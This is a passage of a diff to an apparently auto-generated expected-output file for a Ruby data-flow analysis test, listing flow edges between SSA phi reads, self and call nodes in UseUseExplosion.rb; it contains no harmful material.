UseUseExplosion.rb:20:2463:20:2463 | x | UseUseExplosion.rb:20:2454:20:2464 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2470:20:2480 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(self) | -| UseUseExplosion.rb:20:2470:20:2480 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(x) | +| UseUseExplosion.rb:20:2459:20:2464 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2463:20:2463 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2470:20:2480 | else ... | UseUseExplosion.rb:20:1606:20:2484 | if ... | -| UseUseExplosion.rb:20:2475:20:2480 | [post] self | UseUseExplosion.rb:20:2470:20:2480 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2475:20:2480 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2475:20:2480 | call to use | UseUseExplosion.rb:20:2470:20:2480 | else ... | -| UseUseExplosion.rb:20:2475:20:2480 | self | UseUseExplosion.rb:20:2470:20:2480 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2479:20:2479 | x | UseUseExplosion.rb:20:2470:20:2480 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2486:20:2496 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(self) | -| UseUseExplosion.rb:20:2486:20:2496 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(x) | +| UseUseExplosion.rb:20:2475:20:2480 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2479:20:2479 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2486:20:2496 | else ... | UseUseExplosion.rb:20:1585:20:2500 | if ... | -| UseUseExplosion.rb:20:2491:20:2496 | [post] self | UseUseExplosion.rb:20:2486:20:2496 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2491:20:2496 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2491:20:2496 | call to use | UseUseExplosion.rb:20:2486:20:2496 | else ... | -| UseUseExplosion.rb:20:2491:20:2496 | self | UseUseExplosion.rb:20:2486:20:2496 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2495:20:2495 | x | UseUseExplosion.rb:20:2486:20:2496 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2502:20:2512 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(self) | -| UseUseExplosion.rb:20:2502:20:2512 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(x) | +| UseUseExplosion.rb:20:2491:20:2496 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2495:20:2495 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2502:20:2512 | else ... | UseUseExplosion.rb:20:1564:20:2516 | if ... | -| UseUseExplosion.rb:20:2507:20:2512 | [post] self | UseUseExplosion.rb:20:2502:20:2512 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2507:20:2512 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2507:20:2512 | call to use | UseUseExplosion.rb:20:2502:20:2512 | else ... | -| UseUseExplosion.rb:20:2507:20:2512 | self | UseUseExplosion.rb:20:2502:20:2512 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2511:20:2511 | x | UseUseExplosion.rb:20:2502:20:2512 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2518:20:2528 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(self) | -| UseUseExplosion.rb:20:2518:20:2528 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(x) | +| UseUseExplosion.rb:20:2507:20:2512 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2511:20:2511 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2518:20:2528 | else ... | UseUseExplosion.rb:20:1543:20:2532 | if ... | -| UseUseExplosion.rb:20:2523:20:2528 | [post] self | UseUseExplosion.rb:20:2518:20:2528 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2523:20:2528 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2523:20:2528 | call to use | UseUseExplosion.rb:20:2518:20:2528 | else ... | -| UseUseExplosion.rb:20:2523:20:2528 | self | UseUseExplosion.rb:20:2518:20:2528 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2527:20:2527 | x | UseUseExplosion.rb:20:2518:20:2528 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2534:20:2544 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(self) | -| UseUseExplosion.rb:20:2534:20:2544 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(x) | +| UseUseExplosion.rb:20:2523:20:2528 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2527:20:2527 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2534:20:2544 | else ... | UseUseExplosion.rb:20:1522:20:2548 | if ... | -| UseUseExplosion.rb:20:2539:20:2544 | [post] self | UseUseExplosion.rb:20:2534:20:2544 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2539:20:2544 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2539:20:2544 | call to use | UseUseExplosion.rb:20:2534:20:2544 | else ... | -| UseUseExplosion.rb:20:2539:20:2544 | self | UseUseExplosion.rb:20:2534:20:2544 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2543:20:2543 | x | UseUseExplosion.rb:20:2534:20:2544 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(self) | -| UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(x) | +| UseUseExplosion.rb:20:2539:20:2544 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2543:20:2543 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2550:20:2560 | else ... | UseUseExplosion.rb:20:1501:20:2564 | if ... | -| UseUseExplosion.rb:20:2555:20:2560 | [post] self | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2555:20:2560 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2555:20:2560 | call to use | UseUseExplosion.rb:20:2550:20:2560 | else ... | -| UseUseExplosion.rb:20:2555:20:2560 | self | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2559:20:2559 | x | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) | -| UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) | +| UseUseExplosion.rb:20:2555:20:2560 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2559:20:2559 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2566:20:2576 | else ... | UseUseExplosion.rb:20:1480:20:2580 | if ... | -| UseUseExplosion.rb:20:2571:20:2576 | [post] self | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2571:20:2576 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2571:20:2576 | call to use | UseUseExplosion.rb:20:2566:20:2576 | else ... | -| UseUseExplosion.rb:20:2571:20:2576 | self | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2575:20:2575 | x | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) | -| UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) | +| UseUseExplosion.rb:20:2571:20:2576 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2575:20:2575 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2582:20:2592 | else ... | UseUseExplosion.rb:20:1459:20:2596 | if ... | -| UseUseExplosion.rb:20:2587:20:2592 | [post] self | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2587:20:2592 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2587:20:2592 | call to use | UseUseExplosion.rb:20:2582:20:2592 | else ... | -| UseUseExplosion.rb:20:2587:20:2592 | self | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2591:20:2591 | x | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) | -| UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) | +| UseUseExplosion.rb:20:2587:20:2592 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2591:20:2591 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2598:20:2608 | else ... | UseUseExplosion.rb:20:1438:20:2612 | if ... | -| UseUseExplosion.rb:20:2603:20:2608 | [post] self | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2603:20:2608 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2603:20:2608 | call to use | UseUseExplosion.rb:20:2598:20:2608 | else ... | -| UseUseExplosion.rb:20:2603:20:2608 | self | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2607:20:2607 | x | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) | -| UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) | +| UseUseExplosion.rb:20:2603:20:2608 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2607:20:2607 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2614:20:2624 | else ... | UseUseExplosion.rb:20:1417:20:2628 | if ... | -| UseUseExplosion.rb:20:2619:20:2624 | [post] self | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2619:20:2624 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2619:20:2624 | call to use | UseUseExplosion.rb:20:2614:20:2624 | else ... | -| UseUseExplosion.rb:20:2619:20:2624 | self | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2623:20:2623 | x | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) | -| UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) | +| UseUseExplosion.rb:20:2619:20:2624 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2623:20:2623 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2630:20:2640 | else ... | UseUseExplosion.rb:20:1396:20:2644 | if ... | -| UseUseExplosion.rb:20:2635:20:2640 | [post] self | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2635:20:2640 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2635:20:2640 | call to use | UseUseExplosion.rb:20:2630:20:2640 | else ... | -| UseUseExplosion.rb:20:2635:20:2640 | self | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2639:20:2639 | x | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) | -| UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) | +| UseUseExplosion.rb:20:2635:20:2640 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2639:20:2639 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2646:20:2656 | else ... | UseUseExplosion.rb:20:1375:20:2660 | if ... | -| UseUseExplosion.rb:20:2651:20:2656 | [post] self | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2651:20:2656 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2651:20:2656 | call to use | UseUseExplosion.rb:20:2646:20:2656 | else ... | -| UseUseExplosion.rb:20:2651:20:2656 | self | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2655:20:2655 | x | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) | -| UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) | +| UseUseExplosion.rb:20:2651:20:2656 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2655:20:2655 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2662:20:2672 | else ... | UseUseExplosion.rb:20:1354:20:2676 | if ... | -| UseUseExplosion.rb:20:2667:20:2672 | [post] self | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2667:20:2672 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2667:20:2672 | call to use | UseUseExplosion.rb:20:2662:20:2672 | else ... | -| UseUseExplosion.rb:20:2667:20:2672 | self | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2671:20:2671 | x | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) | -| UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) | +| UseUseExplosion.rb:20:2667:20:2672 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2671:20:2671 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2678:20:2688 | else ... | UseUseExplosion.rb:20:1333:20:2692 | if ... | -| UseUseExplosion.rb:20:2683:20:2688 | [post] self | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2683:20:2688 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2683:20:2688 | call to use | UseUseExplosion.rb:20:2678:20:2688 | else ... | -| UseUseExplosion.rb:20:2683:20:2688 | self | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2687:20:2687 | x | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) | -| UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) | +| UseUseExplosion.rb:20:2683:20:2688 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2687:20:2687 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2694:20:2704 | else ... | UseUseExplosion.rb:20:1312:20:2708 | if ... | -| UseUseExplosion.rb:20:2699:20:2704 | [post] self | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2699:20:2704 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2699:20:2704 | call to use | UseUseExplosion.rb:20:2694:20:2704 | else ... | -| UseUseExplosion.rb:20:2699:20:2704 | self | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2703:20:2703 | x | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) | -| UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) | +| UseUseExplosion.rb:20:2699:20:2704 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2703:20:2703 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2710:20:2720 | else ... | UseUseExplosion.rb:20:1291:20:2724 | if ... | -| UseUseExplosion.rb:20:2715:20:2720 | [post] self | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2715:20:2720 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2715:20:2720 | call to use | UseUseExplosion.rb:20:2710:20:2720 | else ... | -| UseUseExplosion.rb:20:2715:20:2720 | self | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2719:20:2719 | x | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) | -| UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) | +| UseUseExplosion.rb:20:2715:20:2720 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2719:20:2719 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2726:20:2736 | else ... | UseUseExplosion.rb:20:1270:20:2740 | if ... | -| UseUseExplosion.rb:20:2731:20:2736 | [post] self | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2731:20:2736 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2731:20:2736 | call to use | UseUseExplosion.rb:20:2726:20:2736 | else ... | -| UseUseExplosion.rb:20:2731:20:2736 | self | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2735:20:2735 | x | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) | -| UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) | +| UseUseExplosion.rb:20:2731:20:2736 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2735:20:2735 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2742:20:2752 | else ... | UseUseExplosion.rb:20:1249:20:2756 | if ... | -| UseUseExplosion.rb:20:2747:20:2752 | [post] self | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2747:20:2752 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2747:20:2752 | call to use | UseUseExplosion.rb:20:2742:20:2752 | else ... | -| UseUseExplosion.rb:20:2747:20:2752 | self | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2751:20:2751 | x | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) | -| UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) | +| UseUseExplosion.rb:20:2747:20:2752 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2751:20:2751 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2758:20:2768 | else ... | UseUseExplosion.rb:20:1228:20:2772 | if ... | -| UseUseExplosion.rb:20:2763:20:2768 | [post] self | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2763:20:2768 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2763:20:2768 | call to use | UseUseExplosion.rb:20:2758:20:2768 | else ... | -| UseUseExplosion.rb:20:2763:20:2768 | self | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2767:20:2767 | x | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) | -| UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) | +| UseUseExplosion.rb:20:2763:20:2768 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2767:20:2767 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2774:20:2784 | else ... | UseUseExplosion.rb:20:1207:20:2788 | if ... | -| UseUseExplosion.rb:20:2779:20:2784 | [post] self | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2779:20:2784 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2779:20:2784 | call to use | UseUseExplosion.rb:20:2774:20:2784 | else ... | -| UseUseExplosion.rb:20:2779:20:2784 | self | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2783:20:2783 | x | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) | -| UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) | +| UseUseExplosion.rb:20:2779:20:2784 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2783:20:2783 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2790:20:2800 | else ... | UseUseExplosion.rb:20:1186:20:2804 | if ... | -| UseUseExplosion.rb:20:2795:20:2800 | [post] self | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2795:20:2800 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2795:20:2800 | call to use | UseUseExplosion.rb:20:2790:20:2800 | else ... | -| UseUseExplosion.rb:20:2795:20:2800 | self | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2799:20:2799 | x | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(self) | -| UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(x) | +| UseUseExplosion.rb:20:2795:20:2800 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2799:20:2799 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2806:20:2816 | else ... | UseUseExplosion.rb:20:1165:20:2820 | if ... | -| UseUseExplosion.rb:20:2811:20:2816 | [post] self | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2811:20:2816 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2811:20:2816 | call to use | UseUseExplosion.rb:20:2806:20:2816 | else ... | -| UseUseExplosion.rb:20:2811:20:2816 | self | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2815:20:2815 | x | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(self) | -| UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(x) | +| UseUseExplosion.rb:20:2811:20:2816 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2815:20:2815 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2822:20:2832 | else ... | UseUseExplosion.rb:20:1144:20:2836 | if ... | -| UseUseExplosion.rb:20:2827:20:2832 | [post] self | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2827:20:2832 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2827:20:2832 | call to use | UseUseExplosion.rb:20:2822:20:2832 | else ... | -| UseUseExplosion.rb:20:2827:20:2832 | self | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2831:20:2831 | x | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(self) | -| UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(x) | +| UseUseExplosion.rb:20:2827:20:2832 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2831:20:2831 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2838:20:2848 | else ... | UseUseExplosion.rb:20:1123:20:2852 | if ... | -| UseUseExplosion.rb:20:2843:20:2848 | [post] self | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2843:20:2848 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2843:20:2848 | call to use | UseUseExplosion.rb:20:2838:20:2848 | else ... | -| UseUseExplosion.rb:20:2843:20:2848 | self | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2847:20:2847 | x | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(self) | -| UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(x) | +| UseUseExplosion.rb:20:2843:20:2848 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2847:20:2847 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2854:20:2864 | else ... | UseUseExplosion.rb:20:1102:20:2868 | if ... | -| UseUseExplosion.rb:20:2859:20:2864 | [post] self | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | +| 